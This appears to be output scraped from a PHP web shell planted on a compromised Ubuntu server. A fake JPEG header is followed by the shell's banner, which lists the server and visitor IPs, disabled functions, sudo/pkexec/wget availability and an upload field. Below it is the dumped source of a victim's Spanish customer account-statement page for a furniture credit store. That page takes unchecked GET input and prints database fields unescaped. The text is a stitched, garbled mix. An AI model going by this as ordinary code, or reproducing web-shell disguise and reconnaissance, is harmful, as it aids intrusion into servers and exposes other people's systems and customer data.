����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 216.73.216.112 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/muebles/application/customer2/ |
Upload File : |
<?php $titlepage="Estado de Cuenta de Cliente"; $idsmenu=4; include "../../library/config.php"; require_once("../model/dbconn.php"); require_once("../model/pos.php"); require_once("../model/sql2.php"); include "../layout/top-header.php"; include "../../library/check_login.php"; include "../../library/check_access.php"; $id_cust=$_GET["id_cust"]; $model = new pos(); $report["sales"]= $model->getReport($id_cust)[1]; if(isset($report["sales"][0])){ }else{ $report["sales"]= $model->getReportP($id_cust)[1]; } //print_r($report["sales"]); $report["endorsements"]= $model->getEndorsementC($report["sales"][0]['contract'])[1]; foreach($report["sales"] as &$sale){ $sale["details"]= $model->getSaleDetails2($sale["sale_id"])[1]; $sale["payments"]= $model->getPayments($sale["contract"])[1]; $sale["paymentsAbonos"]= $model->getPaymentsAbonos($sale["contract"])[1]; $sale["getPaymentsCount"]= $model->getPaymentsCount($sale["contract"])[1]; } echo "<pre>"; //var_dump($model->getReport($id_cust)[1]); echo "</pre>"; echo "<pre>"; // var_dump($sale["payments"]); echo "</pre>"; //print_r($sale["getPaymentsCount"][0]['contador']); ?> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Estado de Cuenta</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"> <span class="input-group-btn "> <button type="submit" title="Imprimir Reporte" class="btn btn-warning" id="btnImprimir" ><i class="fa fa-print"></i></button> </span> <section class="content" name="formulario"> <h2>ESTADO DE CUENTA DE CLIENTE </h2> <div class="row"> <div class="col-md-6"> <div class="box box-primary"> <div class="box-header with-border"> <div class="box-body"> <div class="form-horizontal"> DATOS DE CLIENTE <div class="box-body"> <div class="box-body table-responsive no-padding"> <table id="table_transaction" class="table table-bordered table-hover "> <?php foreach ($report["sales"] as $venta) { ?> <tbody> <?php if($venta['EstadoContrato']==1):?> <tr> <button type="button" class="btn btn-primary"> Contrato Cancelado </button> </tr> <?php endif;?> <tr > <td align = "right" style="width:100px"><b> Nombre: </b></td> <td><?= $venta["name"] ?></td> </tr> <tr> <td align = "right"><b> Conyugue: </b></td> <td><?= $venta["conyugue"] ?></td> </tr> <tr> <td align = "right"><b> Direccion: </b></td> <td><?= $venta["direccion"] ?></td> </tr> <tr> <td align = "right"><b> Entre Calles: </b></td> <td><?= $venta["come_in"] ?></td> </tr> <tr> <td align = "right"><b> Ciudad: </b></td> <td><?= $venta["poblacion"] ?></td> </tr> <tr> <td align = "right"><b> Aval 1: </b></td> <td> <?=$report["endorsements"][0]["name"]?> / <?=$report["endorsements"][0]["relationship"]?> <?=$report["endorsements"][0]["direction"]?> / <?=$report["endorsements"][0]["colonia"]?> / <?=$report["endorsements"][0]["country"]?> <?=$report["endorsements"][0]["phone"]?> </td> </tr> <tr> <td align = "right"><b> Aval 2: </b></td> <td> <?=$report["endorsements"][1]["name"]?> / <?=$report["endorsements"][1]["relationship"]?> <?=$report["endorsements"][1]["direction"]?> / <?=$report["endorsements"][1]["colonia"]?> / <?=$report["endorsements"][0]["country"]?> <?=$report["endorsements"][1]["phone"]?> </td> </tr> </tbody> <?php }?> </table> </div> </div><!-- /.box-body --> </div> </div> </div> </div> </div> <div class="col-md-6"> <div class="box box-primary"> <div class="box-header with-border"> <div class="box-body"> <div class="form-horizontal"> DATOS DE COBRANZA <div class="box-body"> <div class="box-body table-responsive no-padding"> <table id="table_transaction" class="table table-bordered table-hover "> <?php foreach ($report["sales"] as $venta) { ?> <tbody> <tr> <td align = "right" style="width:100px"><b>Ruta / Contrato: </b></td> <td><?php //consultar $datosEmpleado = new pos(); $detallesEmp = $datosEmpleado->getEmployeeCustomer($venta["contract"]); //print_r($detallesEmp[1]['id_ruta']); $ruta = new pos(); $rutaCliente= $ruta->getRuta($detallesEmp[1]['route_id']); print_r($rutaCliente[1]['name']); echo "/"; ?><?= $venta["contract"] ?></td> </tr> <tr> <td align = "right"><b> Monto Credito: </b></td> <?php if( $report["sales"][0]['disc_rp'] > 0): ?> <td>$ <?= number_format($venta["total"] + $report["sales"][0]['disc_rp'] ) ?></td> </tr> <?php else:?> <td>$ <?= number_format($venta["total"]) ?></td> <?php endif;?> </tr> <tr> <td align = "right"><b> Pago Minimo: </b></td> <td>$ <?= $venta["pago_minimo"] ?></td> </tr> <tr> <td align = "right"><b> Saldo Actual: </b></td> <?php if($venta['EstadoContrato']==1):?> <td> <button type="button" class="btn btn-primary"> $0 </button> </td> <?php else:?> <?php //enganche programdo $progPag = new pos(); $pagadoenganche = $progPag->EnganchePaymentProgPAG($sale["contract"]); if(isset($pagadoenganche[1][0]['pay_date'])): ?> <td>$ <?= number_format($venta["total"] - $sale["payments"][0]['saldo'] - $pagadoenganche[1][0]['val']) ?></td> <?php else:?> <td>$ <?= number_format($venta["total"] - $sale["payments"][0]['saldo']) ?></td> <?php endif;?> <?php endif;?> </tr> <tr> <td align = "right"><b> Pagos Atrazados: </b></td> <td><?= $venta["semanas_atrazo"] ?></td> </tr> <tr> <td align = "right"><b> Monto Atrazo: </b></td> <td> <?= $venta["valor_por_pagar"] ?> </td> </tr> <tr> <td align = "right"><b> Fecha U. Pago: </b></td> <td> <?php $posUPdate = new pos(); $PagoUltimoFecha = $posUPdate->getPaysUltimo2($sale["contract"])[1]; print_r($PagoUltimoFecha['fechaUltimoP']); ?> </td> </tr> <tr> <td align = "right"><b> EF de pago: </b></td> <td> <?= $venta["ultima_fecha_pago"] ?> </td> </tr> <tr> <td align = "right"><b> CP de pago: </b></td> <td> <?= $venta["ultima_fecha_pago"] ?> </td> </tr> </tbody> <?php }?> </table> </div> </div><!-- /.box-body --> </div> </div> </div> </div> </div> </div> <div class="box box-primary"> DETALLES DE LA VENTA <table class="table"> <thead> <tr> <th scope="col">Fecha de Venta</th> <th scope="col">Fecha de Primer Pago</th> <th scope="col">Fecha de Vencimiento del Credito</th> </tr> </thead> <tbody> <tr> </tr> <?php foreach ($report["sales"] as $venta) { ?> <tr> <td><?= $venta["sale_date"] ?></td> <td><?= $venta["fechaPrimer"] ?></td> <td align="center" style="width:200px"> <?php $semanasT = round($venta["total"]/$venta["pago_minimo"]); $FechaPrimerPago = $venta['fechaPrimer']; $fecha_actual = $FechaPrimerPago; //sumo 1 semana echo date("d-m-Y",strtotime($fecha_actual."+ ".$semanasT." week")); //$FechaFinalCredito = ?> <!-- <button class="btn btn-link" type="button" data-toggle="collapse" data-target="#details<?= $venta["sale_id"] ?>" aria-expanded="false" aria-controls="details<?= $venta["sale_id"] ?>"> Detalles Venta </button> <button class="btn btn-link" type="button" data-toggle="collapse" data-target="#pagos<?= $venta["sale_id"] ?>" aria-expanded="false" aria-controls="details<?= $venta["sale_id"] ?>"> Pagos </button> <td colspan="14" class="p-0"> <div class="collapse" id="details<?= $venta["sale_id"] ?>"> <?php foreach ($venta["details"] as $detalle) { ?> <div class="card card-body"> Codigo <?=$detalle["barcode"]?>; Nombre<?=$detalle["item_name"]?>; precio<?=$detalle["price"]?>; Enganche<?=$detalle["disc_rp"]?>; </div> <?php } ?> </div> <div class="collapse" id="pagos<?= $venta["sale_id"] ?>"> <?php foreach ($venta["payments"] as $pay) { ?> <div class="card card-body"> <?=$pay["val"]?>--- <?=$pay["created_at"]?> </div> <?php } ?> </div> </td> --> </td> </tr> <?php } ?> </tbody> </table> </div> </div> <div class="box box-primary"> MERCANCIA ENTREGADA <div class="box-body"> <table class="table"> <th scope="col" style="width:100px">Cantidad</th> <th scope="col" style="width:100px">Codigo</th> <th scope="col" style="width:300px">Mercancia</th> <th scope="col" style="width:300px">SubTotal</th> </thead> <tbody> <?php foreach ($venta["details"] as $detalle) { ?> <tr> <td> <?=$detalle["qty"]?> </td> <td> <?=$detalle["barcode"]?> </td> <td> <?=$detalle["item_name"]?> </td> <td> $ <?=number_format($detalle["price"])?> </td> </tr> <?php } ?> </tbody> </table> </div> <div class="box box-primary"> </div> <div class="row"> <div class="col-md-6"> <div class="box box-primary"> <div class="box-header with-border"> <div class="box-body"> <div class="form-horizontal"> Historial de Pagos Realizados <div class="box-body"> <div class="box-body table-responsive no-padding"> <table id="table_transaction" class="table table-bordered table-hover "> <thead> <td ><b> Sem: </b></td> <td style="width:200px"><b> Fecha: </b></td> <td style="width:100px"><b> Concepto: </b></td> <td style="width:200px"><b> Monto Pago: </b></td> <td style="width:100px" ><b> Saldo: </b></td> <td style="width:300px" ><b> Cobrador: </b></td> </thead> <tbody> <?php if( $report["sales"][0]['disc_rp'] > 0): ?> <tr> <td> <?php //obtenemos semana $fechaActual = date($report["sales"][0]["sale_date"]); $fechaSegundos = strtotime($fechaActual); echo $semanas = date('W', $fechaSegundos); ?> </td> <td> <?php echo $report["sales"][0]['sale_date']; ?> </td> <td> <?php echo "E. Efectivo";?> </td> <td> $ <?php echo $report["sales"][0]['disc_rp']; ?> </td> <td> $<?php echo number_format($report['sales'][0]['saldo_inicial'] - $report["sales"][0]['disc_rp']);?> </td> <td> <?php echo "Vendedor";?> </td> </tr> <?php else:?> <?php //ENGANCHE PROGRAMADO $newposEnganche = new pos(); $enganchePro = $newposEnganche->EnganchePaymentProgramado($sale["contract"]); //print_r($enganchePro[1]); if(isset($enganchePro[1][0]['pay_date'])): ?> <tr> <td> <?php //obtenemos semana if(isset($enganchePro)){ $fechaActual = date($enganchePro[1][0]['pay_date']); }else{ $fechaActual= date($sale['sale_date']); } $fechaSegundos = strtotime($fechaActual); echo $semanas = date('W', $fechaSegundos); ?> </td> <td> <?php print_r($enganchePro[1][0]['pay_date']); ?> </td> <td> <?php echo "E. Programado";?> </td> <td> $ <?php echo $enganchePro[1][0]['val']; ?> </td> <td> $<?php echo number_format($report['sales'][0]['saldo_inicial'] - $report["sales"][0]['disc_rp']);?> </td> <td> <?php echo "Vendedor";?> </td> </tr> <?php else:?> <tr> <td> <?php if(isset($pagadoenganche)){ $fechaActual = date($pagadoenganche[1][0]['pay_date']); }else{ $fechaActual= date($sale['sale_date']); } $fechaSegundos = strtotime($fechaActual); echo $semanas = date('W', $fechaSegundos); ?> </td> <td> <?=$pagadoenganche[1][0]['pay_date'];?> </td> <td> P. Pagado </td> <td> $<?=number_format($pagadoenganche[1][0]['val']);?> </td> <td> $<?php echo number_format($total = $venta["total"] - $pagadoenganche[1][0]['val']);?> </td> <td> Oficina </td> </tr> <?php endif;?> <?php endif;?> <?php $saldoRestante= 0; //VERIFICAMOS CUANTOS RENGLONES VAN A SER/ PAGOS $totalReglones = $sale["getPaymentsCount"][0]['contador']; $diventre2 = intdiv( $totalReglones, 2); $diventre2 = $diventre2-1; $indice = 0; foreach ($venta["paymentsAbonos"] as $pagos) { //obtenemos semanas $fechaActual = date($pagos['created_at']); $fechaSegundos = strtotime($fechaActual); $semanas = date('W', $fechaSegundos); //saldo $saldoRestante-=abs($pagos['val']); //condicion solo si paga el enganche programado if(isset($pagadoenganche[1][0]['val'])){ $saldo = number_format($total + $saldoRestante); }else{ //si no paga el enganche de todos modos resta los abonos $saldo = number_format($venta['total'] + $saldoRestante); } $pays[$indice] = array("pay_id"=>$indice,"semanas"=>$semanas,"val"=>$pagos['val'],"created_at"=>$pagos['created_at'],"saldo"=>$saldo); $_SESSION["pays"] = array($pays); $cart = $_SESSION["pays"]; $indice = $indice+ 1; } //print_r($pays); $saldoRestante = 0; $totalReglones; //PONEMOS EL PRIMER PAQUETE DE 24 RENGLONES SI SE COMPLETAN DEL LADO IZQUIERDO //si es mayor a 24 if($totalReglones > 13){ ?> <?php for($i=0;$i<=12;$i++){ ?> <tr> <td> <?php //obtenemos semana $fechaActual = date($pays[$i]['created_at']); $fechaSegundos = strtotime($fechaActual); echo $semanas = date('W', $fechaSegundos); ?> </td> <td> <?php echo $pays[$i]['created_at']; ?> </td> <td> <?php echo "abono";?> </td> <td> $ <?php echo $pays[$i]['val']; ?> </td> <td> $<?php echo $pays[$i]['saldo']; ?> </td> <td> <?php echo "Oficina";?> </td> </tr> <?php } ?> <?php }else{ //ahora si ponemos 24 renglones ?> <?php for($i=0;$i<=13;$i++){ ?> <tr> <td> <?php //obtenemos semana $fechaActual = date($pays[$i]['created_at']); $fechaSegundos = strtotime($fechaActual); echo $semanas = date('W', $fechaSegundos); ?> </td> <td> <?php echo $pays[$i]['created_at']; ?> </td> <td> <?php echo "abono";?> </td> <td> $ <?php echo $pays[$i]['val']; ?> </td> <td> $<?php echo $pays[$i]['saldo']; ?> </td> <td> <?php echo "Oficina";?> </td> </tr> <?php } //termina 24 renglones o menos ?> <?php }?> </tbody> </table> </div> </div><!-- /.box-body --> </div> </div> </div> </div> </div> <div class="col-md-6"> <div class="box box-primary"> <div class="box-header with-border"> <div class="box-body"> <div class="form-horizontal"> Continuacion de Pagos Realizados <div class="box-body"> <div class="box-body table-responsive no-padding"> <table id="table_transaction" class="table table-bordered table-hover "> <thead> <td ><b> Sem: </b></td> <td style="width:200px"><b> Fecha: </b></td> <td style="width:100px"><b> Concepto: </b></td> <td style="width:200px"><b> Monto Pago: </b></td> <td style="width:100px" ><b> Saldo: </b></td> <td style="width:300px" ><b> Cobrador: </b></td> </thead> <tbody> <?php $saldoRestante= 0; $totalReglones = $sale["getPaymentsCount"][0]['contador']; $restoRenglones = $totalReglones-14; $restoRenglones; $indice = 0; $totalReglones = $totalReglones-1; if($restoRenglones > 13){ //echo "mas de 13 renglones"; //ahora si hay mas de 24 renglones aqui va el resto $saldoRestante= 0; for($i=13;$i<=26;$i++){ ?> <tr> <td> <?php //obtenemos semana $fechaActual = date($pays[$i]['created_at']); $fechaSegundos = strtotime($fechaActual); echo $semanas = date('W', $fechaSegundos); ?> </td> <td> <?php echo $pays[$i]['created_at']; ?> </td> <td> <?php echo "abono";?> </td> <td> $ <?php echo $pays[$i]['val']; ?> </td> <td> $<?php echo $pays[$i]['saldo']; ?> </td> <td> <?php echo "Oficina";?> </td> </tr> <?php }?> <?php }else{ ?> <?php //echo "esto"; for($i=13;$i<=$totalReglones;$i++){ ?> <tr> <td> <?php //obtenemos semana $fechaActual = date($pays[$i]['created_at']); $fechaSegundos = strtotime($fechaActual); echo $semanas = date('W', $fechaSegundos); ?> </td> <td> <?php echo $pays[$i]['created_at']; ?> </td> <td> <?php echo "abono";?> </td> <td> $ <?php echo $pays[$i]['val']; ?> </td> <td> $<?php echo $pays[$i]['saldo']; ?> </td> <td> <?php echo "Oficina";?> </td> </tr> <?php }?> <?php }?> </tbody> </table> </div> </div><!-- /.box-body --> </div> </div> </div> </div> </div> <?php if($totalReglones > 26){ ?> <div class="col-md-6"> <div class="box box-primary"> <div class="box-header with-border"> <div class="box-body"> <div class="form-horizontal"> Continuacion de Pagos Realizados Hoja 2 <div class="box-body"> <div class="box-body table-responsive no-padding"> <table id="table_transaction" class="table table-bordered table-hover "> <thead> <td ><b> Sem: </b></td> <td style="width:200px"><b> Fecha: </b></td> <td style="width:100px"><b> Concepto: </b></td> <td style="width:200px"><b> Monto Pago: </b></td> <td style="width:100px" ><b> Saldo: </b></td> <td style="width:300px" ><b> Cobrador: </b></td> </thead> <tbody> <?php $totalReglones = $sale["getPaymentsCount"][0]['contador']; $restoRenglones = $totalReglones-27; $restoRenglones; $indice = 0; //$totalReglones = $totalReglones-1; if($restoRenglones > 13){ echo "mas de 26 renglones hoja 2"; //ahora si hay mas de 24 renglones aqui va el resto $saldoRestante= 0; for($i=27;$i<=68;$i++){ ?> <tr> <td> <?php //obtenemos semana $fechaActual = date($pays[$i]['created_at']); $fechaSegundos = strtotime($fechaActual); echo $semanas = date('W', $fechaSegundos); ?> </td> <td> <?php echo $pays[$i]['created_at']; ?> </td> <td> <?php echo "abono";?> </td> <td> $ <?php echo $pays[$i]['val']; ?> </td> <td> $<?php echo $pays[$i]['saldo']; ?> </td> <td> <?php echo "Oficina";?> </td> </tr> <?php }?> <?php }else{ ?> <?php for($i=27;$i<=$totalReglones-1;$i++){ ?> <tr> <td> <?php //obtenemos semana $fechaActual = date($pays[$i]['created_at']); $fechaSegundos = strtotime($fechaActual); echo $semanas = date('W', $fechaSegundos); ?> </td> <td> <?php echo $pays[$i]['created_at']; ?> </td> <td> <?php echo "abono";?> </td> <td> $ <?php echo $pays[$i]['val']; ?> </td> <td> $<?php echo $pays[$i]['saldo']; ?> </td> <td> <?php echo "Oficina";?> </td> </tr> <?php }?> <?php }?> </tbody> </table> </div> </div><!-- /.box-body --> </div> </div> </div> </div> </div> <?php } ?> </div> </content> <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.5.2/dist/umd/popper.min.js"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script> <script> //madar imprimir $(document).on("click","#btnImprimir",function() { imprimir(); }) //funcion imprimir function imprimir() { if (window.print) { window.print(); /* var objeto = document.getElementById('area_impresion'); //obtenemos el objeto a imprimir var ventana = window.open('', '_blank'); //abrimos una ventana vacía nueva ventana.document.write(objeto.innerHTML); //imprimimos el HTML del objeto en la nueva ventana ventana.document.close(); //cerramos el documento ventana.print(); //imprimimos la ventana ventana.close(); //cerramos la ventana */ } else { alert("La función de impresion no esta soportada por su navegador."); } } </script>